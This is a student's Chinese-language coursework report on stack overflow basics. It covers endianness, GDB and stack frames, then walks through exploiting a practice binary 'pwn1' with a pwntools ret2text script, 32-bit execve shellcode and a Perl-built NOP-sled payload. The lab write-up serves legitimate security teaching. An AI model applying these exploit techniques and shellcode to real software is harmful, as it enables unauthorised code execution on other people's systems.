20253902 吴晨宇 2025-2026-2 《网络攻防实践》第九周作业

一、知识点总结

1.1 小端序与大端序

在二进制程序分析中,字节序是理解内存数据存储方式的基础。一个整数在源代码或反汇编中通常会以十六进制形式显示,例如 0x0804847d,但是它真正存放到内存中时,并不一定按照人眼阅读的顺序排列。字节序主要分为大端序和小端序。

字节序 存储特点 示例
大端序 高位字节存放在低地址,低位字节存放在高地址 0x0804847d 存为 08 04 84 7d
小端序 低位字节存放在低地址,高位字节存放在高地址 0x0804847d 存为 7d 84 04 08

PWN 实验中经常接触 x86 或 x86-64 架构,它们通常采用小端序。因此,在构造地址、覆盖返回地址或者拼接 payload 时,不能只按照地址的显示形式理解,而要考虑其在内存中的真实字节排列。

字节序影响的是数据在内存中的排列方式。对于栈溢出、返回地址覆盖、ROP 链构造等内容来说,如果字节序理解错误,即使地址本身正确,程序也无法跳转到预期位置。

1.2 GDB 调试原理

GDB 是 Linux 环境下常用的程序调试工具。在 PWN 学习中,GDB 的作用不只是“运行程序”,更重要的是观察程序在运行过程中的状态,包括寄存器、栈、内存、函数调用和指令执行流程。

GDB 调试的核心思想是:让程序在某些位置暂停,然后观察当前程序状态。通过这种方式,可以把原本快速执行的程序分解成一条条指令或一个个函数调用过程,从而理解程序如何处理输入、如何操作栈空间,以及异常崩溃发生在哪里。

GDB 中常见的两类插件是 peda 和 pwndbg:

插件 主要特点
peda 界面简洁,常用于基础漏洞调试,可以快速查看寄存器、栈和反汇编
pwndbg 功能更丰富,信息展示更直观,适合栈溢出、堆漏洞和 ROP 等 PWN 场景

二者的作用都是增强 GDB 的可读性,让调试时能够更方便地观察:

调试对象 作用
寄存器 观察程序当前执行状态,例如 EIP/RIP、ESP/RSP、EBP/RBP
栈空间 查看局部变量、保存的栈帧和返回地址
反汇编代码 理解程序当前执行到哪条机器指令
内存数据 查看输入数据是否进入目标位置
崩溃信息 判断程序异常是否由溢出、非法地址访问等原因导致

静态分析更适合理解程序结构,动态调试更适合验证程序运行时状态。GDB 的价值就在于把“代码逻辑”和“运行时内存变化”联系起来。

1.3 栈的基础结构

栈是程序运行时用于管理函数调用的重要内存区域。函数调用、局部变量保存、参数传递和返回地址保存都与栈有关。理解栈结构,是理解栈溢出的基础。栈是一种“后进先出”(Last In, First Out,简称 LIFO)的数据结构,在绝大多数主流操作系统(如 Windows、Linux)和 CPU 架构(如 x86/x64、ARM)中,进程的调用栈在内存中是从高地址向低地址生长的。

在 32 位程序中,一个典型函数调用过程中,栈空间通常包含以下内容:

栈中内容 作用
局部变量 保存函数内部定义的变量,例如字符数组
saved EBP 保存上一层函数的栈帧基址
return address 保存当前函数执行结束后要返回的位置
函数参数 保存调用函数时传入的数据

从逻辑上看,函数进入时会建立新的栈帧,函数退出时会恢复原来的栈帧并根据返回地址继续执行。也就是说,返回地址决定了函数执行结束后程序接下来跳转到哪里。

栈结构可以简单理解为:

高地址
+------------------+
| 函数参数          |
+------------------+
| 返回地址          |
+------------------+
| saved EBP         |
+------------------+
| 局部变量          |
+------------------+
低地址

在很多 32 位程序中,局部变量位于 ebp 的低地址方向,例如 [ebp-0x1c];返回地址位于 ebp+4 的位置。因此,如果程序向局部变量写入过长数据,就可能越过局部变量区域,继续覆盖 saved EBP 和返回地址。

栈溢出的本质不是“输入变长”这么简单,而是输入数据越界后破坏了函数调用栈中的关键控制数据,其中最重要的就是返回地址。

1.4 栈溢出原理与 NOP 技巧

栈溢出是一类经典的内存破坏漏洞。当程序向栈上的缓冲区写入数据时,如果没有检查输入长度,超出的内容就会覆盖缓冲区之后的栈数据。由于返回地址也保存在栈上,因此攻击者可能通过构造特定输入覆盖返回地址,从而改变程序控制流。

栈溢出结构示意图

图 1-1 栈溢出结构示意图。过长输入会先填满局部缓冲区,然后继续覆盖 saved EBP,最后覆盖返回地址,从而影响函数返回后的执行流程。

栈溢出的一般过程可以抽象为:

阶段 含义
正常输入 数据长度没有超过缓冲区大小,程序正常运行
输入过长 数据填满缓冲区后继续向后写入
覆盖栈帧 saved EBP 等栈帧数据被覆盖
覆盖返回地址 函数返回位置被修改
控制流改变 程序跳转到被修改后的地址

从原理上看,栈溢出利用并不是依赖“程序崩溃”,而是利用程序对输入边界检查不足,使输入数据影响控制流。如果只是造成崩溃,说明程序状态被破坏;如果能够精确控制返回地址,则说明可能进一步控制程序执行路径。

在栈溢出利用中,常见思路包括:

利用方式 基本原理
ret2text 跳转到程序本身已有的目标函数
ret2shellcode 跳转到栈上或内存中的 shellcode
ret2libc 跳转到 libc 中已有函数,例如 system
ROP 拼接多个代码片段控制程序行为

其中,NOP 技巧通常用于提高 shellcode 利用的容错率。NOP 是 no operation 的缩写,对应机器码常见为:

\x90

它的作用是不执行实际操作,只让程序继续向后执行下一条指令。如果在 shellcode 前面放置一段连续的 NOP,就形成了 NOP sled:

NOP + NOP + NOP + shellcode

这样即使跳转地址没有精确落到 shellcode 开头,只要落在 NOP 区域中,程序就会顺着 NOP 一直执行到真正的 shellcode,从而提高成功率。

NOP sled 的核心作用是增加容错空间。它并不改变漏洞原理,而是在地址不完全稳定时提高跳转到有效代码的概率。

不过,现代系统中通常会存在多种安全保护机制,例如栈不可执行、地址随机化、栈保护等。这些机制会提高栈溢出利用难度。因此,在学习栈溢出时,不仅要理解覆盖返回地址的基本原理,也要理解安全机制为什么能够限制传统利用方式。

二、操作流程

2.1 基础查看

在开始分析 pwn1 程序之前,我先对目标文件类型、程序保护机制以及后续编写脚本需要用到的依赖环境进行了基础查看。做 PWN 题时,这一步比较重要,因为文件架构、保护机制和运行环境会直接影响后续利用方式的选择。

简单来说,我需要先弄清楚几个问题:程序是 32 位还是 64 位?有没有开启 Canary、NX、PIE 等保护?后面能不能用 pwntools 编写自动化脚本?这些信息确认清楚之后,后面的漏洞分析才不会走偏。

首先,我安装 checksec 工具:

apt install checksec

安装 checksec 工具

图 2-1-1 终端中执行 apt install checksec 安装 checksec 工具。

checksec 可以快速查看 ELF 程序的安全保护机制,例如 RELRO、Canary、NX、PIE 等。在 PWN 分析中,我一般会先用它看一眼程序保护情况,再决定后面是考虑栈溢出、ROP、ret2text,还是需要绕过地址随机化等保护。

checksec 对 PWN 分析很实用。虽然它不能直接告诉我漏洞在哪里,但可以先给出程序保护机制的大致情况,帮助我判断利用难度和分析方向。

接着,我使用 file 命令查看目标程序的基本信息:

file pwn1

查看 pwn1 文件基本信息

图 2-1-2 使用 file pwn1 查看目标程序的文件类型、架构和链接方式。

从输出结果可以看出,pwn1 是一个 32 位 ELF 可执行文件,架构为 Intel 80386,并且采用动态链接方式运行,解释器路径为:

/lib/ld-linux.so.2

同时,结果中还显示该程序为 not stripped,说明程序没有完全去除符号信息。这对后续分析比较有利,因为符号信息可以帮助我更快定位函数名称和程序结构。

查看项目 结果 分析说明
文件格式 ELF Linux 下常见可执行文件格式
程序架构 Intel 80386 32 位 i386 程序
链接方式 dynamically linked 动态链接程序
解释器 /lib/ld-linux.so.2 32 位动态链接器
是否去符号 not stripped 保留部分符号信息,便于分析

通过这一步,我确认 pwn1 是 32 位 Linux ELF 程序,因此后续调试、地址打包和 payload 构造都需要按照 i386 架构处理。

随后,我使用 checksec 对目标程序进行保护机制检测:

checksec pwn1

查看 pwn1 程序保护机制

图 2-1-3 使用 checksec 查看 pwn1 的安全保护机制。

检测结果显示,pwn1 的保护整体较弱。具体情况可以整理如下:

检查项目 检查结果 分析说明
Arch i386-32-little 程序为 32 位小端架构
RELRO Partial RELRO 只开启了部分 RELRO 保护
Stack Canary No canary found 未开启栈保护
NX NX unknown / Stack Executable 栈可能具有可执行权限
PIE No PIE 程序基地址固定
RWX Has RWX segments 存在可读、可写、可执行段
Stripped No 程序未去除符号信息

从这些结果来看,pwn1 的利用条件比较友好。程序没有开启 Canary,也没有开启 PIE,基地址相对固定;同时栈可能具有可执行权限,并且存在 RWX 段。对于后续分析来说,可以重点关注栈溢出、返回地址覆盖、ret2text 或 shellcode 执行等利用方式。

这里可以初步判断,这个程序更适合作为基础栈溢出练习样本。它没有太多复杂保护,重点应该放在函数调用关系、栈布局和返回地址控制上。

为了后续编写自动化利用脚本,我还需要安装 pwntools。一开始我尝试直接执行:

pip install pwntools

但是终端提示 Command 'pip' not found,说明当前 Ubuntu 环境中没有安装 pip。因此,我继续尝试安装 python3-pip:

apt install python3-pip

安装 pwntools 依赖环境

图 2-1-4 安装 python3-pip 时,终端提示软件包管理锁被占用。

安装过程中,系统提示 /var/lib/dpkg/lock-frontend 被占用,占用进程为 unattended-upgr。这种情况通常是因为系统正在后台执行自动更新或其他软件包管理任务。

一般情况下,比较稳妥的处理方式是先等待后台进程结束,或者确认是否真的存在正在运行的 apt / dpkg 进程。如果确认后台更新长时间卡住,再谨慎处理锁文件,否则可能导致软件包管理状态异常。

这一步让我意识到,环境配置本身也是实验的一部分。PWN 分析不只是写 payload,前面的工具链、Python 环境和依赖安装如果没处理好,后续脚本也跑不起来。

在 pip3 可以正常使用之后,我通过下面的命令安装 pwntools:

pip3 install pwntools

安装 pwntools 模块

图 2-1-5 使用 pip3 install pwntools 安装 pwntools 及相关依赖模块。

终端开始下载并安装 pwntools 以及相关依赖模块,例如 unicorn 等,说明 pip3 已经可以正常使用,pwntools 的安装流程也已经启动。

pwntools 是 PWN 实验中非常常用的 Python 库,后续可以用它完成进程交互、payload 构造、地址打包、远程连接等操作。对于这类需要反复测试 payload 的题目来说,使用 pwntools 会比手动输入方便很多。

工具 作用
file 查看程序文件类型和架构
checksec 查看 ELF 程序安全保护机制
pip3 安装 Python 第三方库
pwntools 编写 PWN 自动化利用脚本

到这里,基础环境已经准备好:程序类型确认完成,保护机制也已经查看,后续就可以围绕 pwn1 的函数逻辑和栈结构继续分析。

2.2 利用 foo 跳转

这一部分我主要分析 main、foo 和 getShell 三个函数之间的关系,理解程序控制流是如何被改变的。整体思路是:程序正常情况下会进入 foo 函数,而 foo 函数中存在 gets() 导致的栈溢出问题。因此,我可以构造输入覆盖 foo 函数的返回地址,让程序在 foo 返回时不再回到原来的位置,而是跳转到 getShell() 函数,从而执行 system("/bin/sh")。

首先,我在 IDA 中查看程序的主要函数调用关系。main 函数的逻辑比较简单,程序启动后会调用 foo(),然后再结束运行。

main 函数调用 foo 函数

图 2-2-1 IDA 中显示 main 函数调用 foo 函数的代码片段。

这一点比较关键,因为 foo 是程序正常执行流程中一定会进入的函数。如果漏洞点正好存在于 foo 中,那么就不需要额外寻找复杂的触发路径,只要正常运行程序,就可以到达漏洞位置。

程序执行流程可以先简化理解为:main() 调用 foo()。如果我能控制 foo() 的返回地址,就可以改变程序后续的执行方向。

接着,我继续分析 foo 函数。foo 函数内部定义了一个字符数组 s[28],在栈上的位置为 [ebp-1Ch]。其中 0x1c 转换成十进制正好是 28,说明该局部变量大小为 28 字节。

foo 函数中的 gets 栈溢出点

图 2-2-2 IDA 中显示 foo 函数内的局部变量和 gets 调用。

随后程序调用了:

gets(s);

gets() 是一个非常危险的函数,因为它不会检查输入长度。只要输入内容超过 s 的 28 字节空间,就会继续向后覆盖栈上的其他数据。按照 32 位程序常见栈帧结构,局部变量后面通常是保存的 ebp,再往后就是函数返回地址。

因此,如果要覆盖 foo 函数的返回地址,需要先填满 28 字节缓冲区,再覆盖 4 字节 saved EBP,最后写入新的返回地址。

栈中位置 长度 作用
s[28] 28 字节 局部字符数组
saved EBP 4 字节 保存上一层栈帧
return address 4 字节 函数返回后跳转的位置

由此可以计算出返回地址偏移:

28 + 4 = 32

也就是说,payload 的前 32 字节用于填充缓冲区并覆盖 saved EBP,后 4 字节才是真正写入返回地址的位置。

这里的重点不是单纯记住偏移是 32,而是理解这个 32 是怎么来的:局部数组 28 字节,加上 saved EBP 4 字节,正好到达返回地址位置。

在确定可以覆盖返回地址之后,我继续寻找适合作为跳转目标的函数。查看函数列表后,我发现程序中存在 getShell() 函数,其起始地址为:

0x0804847d

getShell 函数地址和功能

图 2-2-3 IDA 中显示 getShell 函数的起始地址和函数内容。

getShell() 函数内部调用了:

system("/bin/sh");

这说明只要程序执行流能够跳转到 getShell(),就可以直接执行 /bin/sh。这样一来,我不需要额外注入 shellcode,也不需要构造复杂的 ROP 链,只需要把 foo 的返回地址覆盖为 getShell() 的地址即可。

这里的利用思路可以概括为:

输入超长数据
    ↓
填满 foo 中的局部数组
    ↓
覆盖 saved EBP
    ↓
覆盖返回地址为 getShell()
    ↓
foo 执行 ret
    ↓
程序跳转到 getShell()
    ↓
执行 system("/bin/sh")

这里使用的是典型的 ret2text 思路,也就是跳转到程序自身已有的代码段函数,借助现成函数完成利用。

随后,我编写了如下利用脚本:

from pwn import *

# context(os='linux', arch='i386', log_level='debug')

p = process('./pwn1')

payload = b'A' * (28 + 4)
payload += p32(0x0804847d)

p.sendline(payload)
p.interactive()

脚本中,下面这一行用于填充缓冲区并覆盖 saved EBP:

payload = b'A' * (28 + 4)

后面这一行则把 getShell() 的地址打包到 payload 末尾:

payload += p32(0x0804847d)

由于 pwn1 是 32 位小端架构,所以地址 0x0804847d 在内存中实际会按照下面的字节顺序写入:

\x7d\x84\x04\x08

这样当 foo 函数执行结束并运行 ret 指令时,栈顶保存的返回地址就会被解析为 0x0804847d,程序控制流随即跳转到 getShell()。

运行利用脚本并获得 shell

图 2-2-4 终端中运行利用脚本后进入交互模式,并执行目录查看和文件读取命令。

运行脚本后,程序启动本地进程 ./pwn1,随后进入交互模式。在交互环境中,我执行 ls 查看当前目录,可以看到 flag 文件;接着执行 cat flag,读取到了文件内容。

这里的 flag 文件是我为了模拟 CTF 做题环境自己放置的测试文件。它的作用主要是验证当前 shell 是否真的可以执行命令,而不是作为真实比赛环境中的 flag。

运行结果说明,payload 已经覆盖了 foo 的返回地址,程序执行流也确实跳转到了 getShell()。这里偏移、函数地址和地址打包方式都是有效的。

为了进一步理解程序跳转的底层原理,我又从机器码角度查看了 main 函数中调用 foo 的位置。可以看到,对应位置的机器码为:

E8 D7 FF FF FF

查看 main 调用 foo 的机器码

图 2-2-5 查看 main 函数中调用 foo 的机器码字节。

其中,E8 是 x86 架构中的 call 指令操作码,后面的 D7 FF FF FF 是相对偏移。call 指令并不是直接把完整目标地址写在指令中,而是通过下面这种方式计算实际跳转目标:

目标地址 = 下一条指令地址 + 相对偏移

也就是说,程序执行 call foo 时,会先把下一条指令地址压入栈中作为返回地址,然后再跳转到 foo 函数执行。等 foo 执行到 ret 时,CPU 会从栈中取出返回地址,并跳转回调用位置之后继续执行。

栈溢出的本质,就是利用 gets() 覆盖了这个原本由 call 指令保存的返回地址,使 ret 不再返回原位置,而是跳转到我指定的函数地址。

继续通过反汇编结果可以看到,main 函数中存在下面这条指令:

call 8048491 <foo>

反汇编查看 main 中的 call foo 指令

图 2-2-6 反汇编结果中显示 main 函数调用 foo 的 call 指令。

这条指令的机器码同样对应 e8 d7 ff ff ff。前面的机器码和这里的反汇编结果能够互相对应起来,也帮助我确认了程序正常情况下的调用链:

main
  ↓ call
foo
  ↓ ret
main 后续位置

由于 ret 指令依赖栈上的返回地址,所以当 gets() 造成栈溢出后,只要返回地址被覆盖,程序就会按照我写入的新地址继续执行。

整个过程可以整理为:

阶段 正常执行流程 被利用后的执行流程
进入函数 main 调用 foo main 调用 foo
输入数据 gets() 读取普通输入 gets() 读取超长 payload
栈上返回地址 保存原本返回到 main 的地址 被覆盖为 getShell() 地址
函数返回 foo 返回到 main foo 跳转到 getShell()
最终结果 程序正常结束 执行 /bin/sh 获得 shell

这说明我并不是直接让 main 跳转,而是利用 foo 函数返回时的 ret 指令完成控制流劫持。

随后,我对 getShell 和 foo 两个函数进行了对比。getShell 的起始地址是:

0x0804847d

foo 的起始地址是:

0x08048491

反汇编查看 getShell 与 foo 函数地址

图 2-2-7 反汇编结果中显示 getShell 和 foo 两个函数的位置与代码内容。

getShell 函数内部先建立栈帧,然后将字符串 /bin/sh 的地址传入栈中,最后调用 system@plt。而 foo 函数会为局部变量分配栈空间,调用 gets@plt 读取输入,再调用 puts@plt 输出内容。

从这两个函数的关系来看,foo 是漏洞触发点,getShell 是最终跳转目标。一个提供溢出条件,一个提供拿 shell 的功能,两者结合后就形成了完整的利用链。

进入 foo
    ↓
触发 gets 溢出
    ↓
覆盖返回地址
    ↓
ret 跳转到 getShell
    ↓
执行 system("/bin/sh")

这也是本题比较适合入门练习的地方:漏洞点和目标函数都在程序内部,利用时不需要泄露 libc 地址,也不需要复杂的地址计算。

最后,我对前面的分析过程进行了验证和整理。通过函数地址、反汇编指令以及实际运行结果,可以确认 foo 函数的栈结构和返回流程都符合预期。

验证 foo 跳转利用过程

图 2-2-8 对 foo 返回地址覆盖过程进行整理和验证。

在这个实验中,真正起决定作用的是返回地址覆盖。gets() 允许输入超过 28 字节的数据,前 32 字节用于填充缓冲区和 saved EBP,最后 4 字节写入 getShell() 的地址。当 foo 执行结束后,ret 会从栈中取出伪造的返回地址,于是程序跳转到 getShell()。

这也说明漏洞利用并不是“凭空执行了 getShell”,而是利用了函数调用和返回机制中的栈结构。只要能够控制返回地址,就能够改变程序执行流。

本节流程可以总结如下:

步骤 操作内容 关键结果
1 分析 main 函数 确认程序会调用 foo()
2 分析 foo 函数 发现 gets(s) 存在栈溢出风险
3 计算偏移 s[28] + saved EBP[4] = 32 字节
4 寻找目标函数 找到 getShell() 地址 0x0804847d
5 构造 payload A * 32 + p32(0x0804847d)
6 运行脚本验证 进入 shell 交互环境并读取测试文件
7 结合反汇编理解原理 确认 call、ret 与返回地址覆盖之间的关系

通过本节实验,我成功利用 foo 函数中的栈溢出漏洞实现了程序跳转。实验过程中,我先确定了程序从 main 进入 foo 的调用关系,然后分析出 foo 中局部数组的大小和危险函数 gets(),进一步计算出覆盖返回地址所需的偏移为 32 字节。

随后,我将返回地址覆盖为 getShell() 的地址 0x0804847d,使程序在 foo 返回时跳转到 getShell(),最终执行:

system("/bin/sh");

本次利用的核心在于准确计算栈偏移,并将返回地址覆盖为程序中已有的 getShell() 函数地址。通过这种方式,我完成了从漏洞触发、控制流劫持到获得 shell 的完整过程。

2.2 shellcode

在上一部分中,我已经通过覆盖返回地址跳转到程序中已有的 getShell() 函数完成了利用。这一部分继续尝试另一种方式:不再依赖程序中现成的 getShell(),而是把自己编写的 shellcode 写入栈中,再通过栈溢出覆盖返回地址,让程序跳转到栈上的 shellcode 执行。

这种方法更接近传统的 shellcode 注入利用。它对环境要求更敏感,尤其是地址随机化、栈地址变化、payload 结构和 shellcode 编写都会影响最终结果。

为了减少调试过程中地址变化带来的影响,我先处理地址随机化问题。因为如果 ASLR 开启,每次程序运行时栈地址都可能发生变化,返回地址很难稳定命中 shellcode。

处理地址随机化问题

图 2-2-1 在终端中处理地址随机化相关设置。

这里需要注意,关闭地址随机化只是为了方便本地实验调试。在真实系统中,ASLR 是重要的安全保护机制,能够增加栈地址、库地址和程序映射地址预测难度。

这一步的目的不是绕过真实环境保护,而是让本地实验结果更稳定,方便观察栈地址和验证 shellcode 利用流程。

为了更方便地调试程序,我继续安装 pwndbg。pwndbg 是 GDB 的增强插件,可以更直观地显示寄存器、栈、反汇编、内存布局等信息,对 PWN 调试很有帮助。

安装 pwndbg

图 2-2-2 在终端中安装并配置 pwndbg 调试插件。

安装好调试环境之后,我使用 cyclic 生成有规律的测试字符串。cyclic 是 pwntools 中非常常用的小工具,它生成的字符串不是简单重复的 AAAA,而是带有规律的唯一序列。这样当程序崩溃或寄存器被覆盖时,可以反推出覆盖位置对应的偏移。

使用 cyclic 生成规律字符串

图 2-2-3 使用 cyclic 生成用于定位栈溢出偏移的规律字符串。

这里的思路是:先用较长的 cyclic 字符串作为输入,让程序发生溢出,再观察返回地址或栈中被覆盖的位置。由于 cyclic 字符串每一段都有规律,就可以反推出到底输入了多少字节后覆盖到关键位置。

随后,我在 GDB 中运行程序,并通过单步执行让程序运行到调用 foo 的位置附近。

单步运行到 call 指令附近

图 2-2-4 在 GDB 中通过单步执行观察程序运行到函数调用位置附近的状态。

程序进入 foo 后,会调用 gets() 读取输入。我在这里输入前面生成的 cyclic 字符串,使其超过局部数组大小,从而触发栈溢出。

输入 cyclic 字符串触发溢出

图 2-2-5 在程序输入位置填入 cyclic 字符串,观察栈溢出后的程序状态。

溢出发生后,我重点查看 esp 附近的内容。因为函数返回时,CPU 会从栈中取出返回地址并跳转,如果返回地址已经被输入覆盖,就可以通过栈中的内容判断偏移。

查看 esp 附近栈内容

图 2-2-6 在调试器中查看 esp 附近的栈内容。

根据 cyclic 字符串的排列,可以辅助理解偏移位置。例如字符串按 4 字节一组观察时,大致可以写成:

aaaa baaa caaa daaa eaaa faaa gaaa haaa iaaa ...
 0    4    8    12   16   20   24   28   32

结合前面对 foo 函数栈结构的分析,局部数组大小为 28 字节,后面还有 4 字节 saved EBP,因此覆盖返回地址的偏移仍然是:

28 + 4 = 32

这一点和前面通过 IDA 静态分析得到的偏移能够互相印证。

根据 cyclic 结果计算偏移

图 2-2-7 根据栈中 cyclic 字符串位置辅助确认返回地址覆盖偏移。

在调试过程中,我还记录了一个查看栈内容的小技巧。通过在 GDB / pwndbg 中直接查看寄存器附近内存,可以更直观地观察 payload 在栈上的分布,比如填充内容、返回地址、NOP 区域和 shellcode 的相对位置。

查看栈内容的小技巧

图 2-2-8 在调试器中查看栈内存内容,辅助判断 payload 的布局。

这里我主要尝试了两种 payload 构造方式:一种是把 shellcode 放在 payload 后半部分,前面用填充内容覆盖到返回地址;另一种是把 shellcode 与填充内容结合起来,使 shellcode 同时承担一部分 padding 的作用。前者结构更清晰,后者有时可以节省空间,但调试时更容易受地址影响。

我使用的 32 位 Linux shellcode 如下:

.section .shellcode,"awx"
.global _start
.global __start

_start:
__start:
.intel_syntax noprefix
.p2align 0

xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80

这段 shellcode 的核心作用是构造 /bin//sh 字符串,并通过 int 0x80 触发系统调用。eax = 0xb 对应 32 位 Linux 下的 execve 系统调用,最终效果是执行:

/bin/sh

使用 shellcode 构造 payload

图 2-2-9 根据栈地址和 shellcode 内容构造最终 payload。

这里需要说明一下,调试过程中看到的 buff_addr、ret_addr 等地址可能和前面截图中不完全一致。这个问题和地址随机化、运行环境、调试方式、环境变量长度等因素都有关系。中间我也反复调了很多次,最明显的感受就是:shellcode 利用比直接跳转 getShell() 更依赖运行时地址。

这一部分遇到的困难明显比 ret2text 多。ret2text 只需要找到程序内部固定函数地址,而 shellcode 注入需要同时处理 shellcode 编写、栈地址定位、返回地址选择和地址稳定性问题。

2.4 利用 Perl

在上一部分中,我已经明确了 shellcode 注入的基本思路。这一部分继续使用 Perl 直接生成包含 shellcode 的 payload,并将 payload 输入给 pwn1 程序。整体目标仍然是:利用 gets() 造成栈溢出,将 shellcode 写入栈中,再覆盖返回地址,使程序跳转到栈上的 shellcode 执行。

这种方法和前面的 ret2text 不完全相同。前面是跳转到程序中已经存在的 getShell() 函数,而这里是把自己构造的机器码放到输入中,再让程序执行这段输入内容。

这一节的核心思路是:gets() 造成栈溢出后,我不仅覆盖返回地址,还把 shellcode 一起写入栈中,然后让返回地址指向 shellcode 所在的位置。

首先,我使用下面的命令查看当前正在运行的 pwn1 进程:

ps -ef | grep pwn1

查看 pwn1 进程号

图 2-4-1 使用 ps -ef | grep pwn1 查看正在运行的 pwn1 进程。

这样做是为了找到目标程序的进程号,方便后续使用 GDB 动态附加到程序上进行调试。截图中可以看到 ./pwn1 正在运行,同时还能看到与调试相关的 GDB 进程和 grep 命令本身。

这里需要注意,进程号不是固定的。每次重新运行程序后,PID 都可能发生变化,所以实际调试时需要根据当前终端输出重新确认。

查找进程号的目的,是为了后续使用 gdb -p PID 附加到正在运行的程序,从而观察程序运行时的寄存器和栈状态。

接着,我使用 Perl 的 print 功能生成一段二进制输入,并将其重定向保存到 input_20253902 文件中。Perl 可以比较方便地输出十六进制字节,例如 \x90、\x31、\xc0 等,因此很适合用来快速构造 payload。

使用 Perl 生成初始 payload 文件

图 2-4-2 使用 Perl 生成初始 payload,并将结果保存到输入文件中。

初始 payload 中包含了大量 \x90,也就是 NOP 指令。NOP 指令执行后不会改变程序状态,主要用于构造 NOP sled。这样即使返回地址没有精确落在 shellcode 的第一条指令上,只要落在 NOP 区域中,程序也会顺着 NOP 一直执行到真正的 shellcode。

随后,我使用下面的方式运行程序:

(cat input_20253902; cat) | ./pwn1

其中,前半部分:

cat input_20253902

用于把构造好的 payload 输入给程序;后面的:

cat

用于保持标准输入不关闭,方便在获得 shell 后继续交互。

这里的管道命令很关键。如果只输入 payload 而不追加后面的 cat,即使 shellcode 成功执行,shell 也可能因为标准输入关闭而无法继续交互。

为了进一步确定 shellcode 在栈上的位置,我使用 GDB 附加到正在运行的 pwn1 进程。命令形式如下:

gdb -p <PID>

本次调试中,我附加到当前运行的 pwn1 进程:

gdb -p 15711

使用 GDB 附加到 pwn1 进程

图 2-4-3 使用 GDB 附加到正在运行的 pwn1 进程。

GDB 成功附加后,pwndbg 插件也被加载出来。通过这种方式,我可以在程序运行过程中查看寄存器、栈地址以及断点位置,从而为后续计算返回地址提供依据。

这一部分的重点不是直接运行程序,而是动态观察程序接收输入后的状态。因为 shellcode 是写入栈中的,所以我需要知道当前栈指针的大致位置,才能让返回地址尽可能准确地跳转到 shellcode 附近。

使用 GDB 附加进程,是为了把“猜地址”变成“观察地址”,从而提高 shellcode 利用的成功率。

进入 GDB 后,我在 0x080484ae 位置设置断点:

b *0x080484ae

然后执行:

c

让程序继续运行,直到命中断点。

设置断点并运行到 foo 函数关键位置

图 2-4-4 在 GDB 中设置断点,并让程序继续运行到指定位置。

这里选择在 foo 函数附近设置断点,是为了观察程序在接收输入并即将返回时的栈状态。由于溢出的本质是覆盖函数返回地址,所以我需要在函数返回前后查看栈指针以及栈中数据的变化。

命中断点后,pwndbg 会显示当前寄存器状态。此时程序还没有完全结束,我可以继续查看 esp 等关键寄存器,从而判断 payload 在栈中的大致位置。

随后,我再次使用下面的命令运行目标程序:

(cat input_20253902; cat) | ./pwn1

运行初始输入观察程序响应

图 2-4-5 使用初始 payload 运行 pwn1 后,终端中显示输入内容对应的字符片段。

程序接收 payload 后,终端中输出了一些乱码字符,以及类似 /sh、bin 的字符串片段。这些乱码并不是异常现象,因为 payload 中包含大量不可见机器码字节,例如 NOP 指令和 shellcode 指令。终端把这些字节当作普通字符输出时,就会显示为不可读内容。

同时,能够看到 /sh、bin 这样的片段,也说明输入中确实包含了用于执行 /bin/sh 的 shellcode 内容。此时 payload 已经成功传入程序,接下来需要解决的问题就是让返回地址跳转到这段 shellcode。

这一步说明 payload 已经进入程序,但还不能说明利用成功。真正的关键在于返回地址能不能跳转到 NOP sled 或 shellcode 所在的位置。

在断点处,我使用下面的命令查看当前 esp 寄存器的值:

info r esp

查看 esp 寄存器地址

图 2-4-6 在 GDB 中查看当前 esp 寄存器的值。

结果显示:

esp = 0xffffd06c

esp 是栈指针寄存器,它指向当前栈顶位置。在 32 位程序中,函数返回时会执行 ret 指令,ret 会从当前栈顶取出 4 字节作为新的 EIP,也就是下一条要执行的地址。取出返回地址之后,esp 会继续向后移动 4 字节。

因此,如果我覆盖了返回地址,那么在 ret 之后,程序会跳转到我写入的地址,而 esp 也会指向返回地址之后的数据区域。由于我的 payload 结构是“填充数据 + 返回地址 + NOP sled + shellcode”,所以返回地址后面正好就是希望执行的内容。

当前观察到的 esp = 0xffffd06c,为后续计算 shellcode 入口地址提供了依据。

根据前面查看到的 esp 地址,我进一步计算:

0xffffd06c + 4 = 0xffffd070

计算返回地址跳转位置

图 2-4-7 根据 esp 的值计算返回后适合跳转的位置。

这里加 4 的原因是,在 32 位程序中返回地址占 4 字节。当 ret 指令执行时,它会先从栈顶取出被我覆盖的返回地址,然后 esp 会向后移动 4 字节。此时 esp + 4 附近的位置就对应 payload 中返回地址后面的内容,也就是 NOP sled 和 shellcode 的开始区域。

因此,我选择将返回地址覆盖为:

0xffffd070

在小端序下,这个地址需要写成:

\x70\xd0\xff\xff
项目 数值 说明
当前 esp 0xffffd06c 断点处观察到的栈顶地址
地址偏移 +4 跳过返回地址本身
目标地址 0xffffd070 返回后希望跳转到的位置
小端序写法 \x70\xd0\xff\xff payload 中实际写入的字节顺序

地址写入时必须考虑小端序,否则程序解析出的跳转地址就会错误。

最后,我重新构造 payload。最终 payload 的结构可以表示为:

"A" * 32 + "\x70\xd0\xff\xff" + NOP sled + shellcode

其中,"A" * 32 用于填充 28 字节缓冲区并覆盖 4 字节 saved EBP;\x70\xd0\xff\xff 用于覆盖返回地址,使程序跳转到 0xffffd070;后面的 \x90 是 NOP sled;最后的 shellcode 用于执行 /bin/sh。

payload 部分 作用
"A" * 32 填充缓冲区并覆盖 saved EBP
\x70\xd0\xff\xff 覆盖返回地址,跳转到栈上 shellcode 附近
\x90\x90... NOP sled,提高命中成功率
shellcode 执行 execve("/bin/sh")

使用最终 payload 获得 shell

图 2-4-8 使用最终 payload 运行程序后,终端进入交互状态并执行目录查看和文件读取命令。

生成 payload 后,我重新运行程序。这一次程序成功进入交互状态,我执行 ls 查看当前目录,可以看到 flag 文件。随后执行 cat flag,成功读取到文件内容。

这说明返回地址已经成功跳转到栈上的 shellcode,shellcode 被正常执行,最终获得了 shell。

最终利用成功的关键在于:准确计算溢出偏移、找到合适的栈地址、使用小端序覆盖返回地址,并利用 NOP sled 提高 shellcode 命中率。

本节实验流程可以总结如下:

步骤 操作内容 关键目的
1 查看 pwn1 进程号 为 GDB 附加调试做准备
2 使用 Perl 生成初始 payload 将 shellcode 写入输入文件
3 使用 GDB 附加进程 动态观察程序运行状态
4 在 foo 关键位置设置断点 暂停程序并查看栈状态
5 查看 esp 寄存器 确定栈中 payload 的大致位置
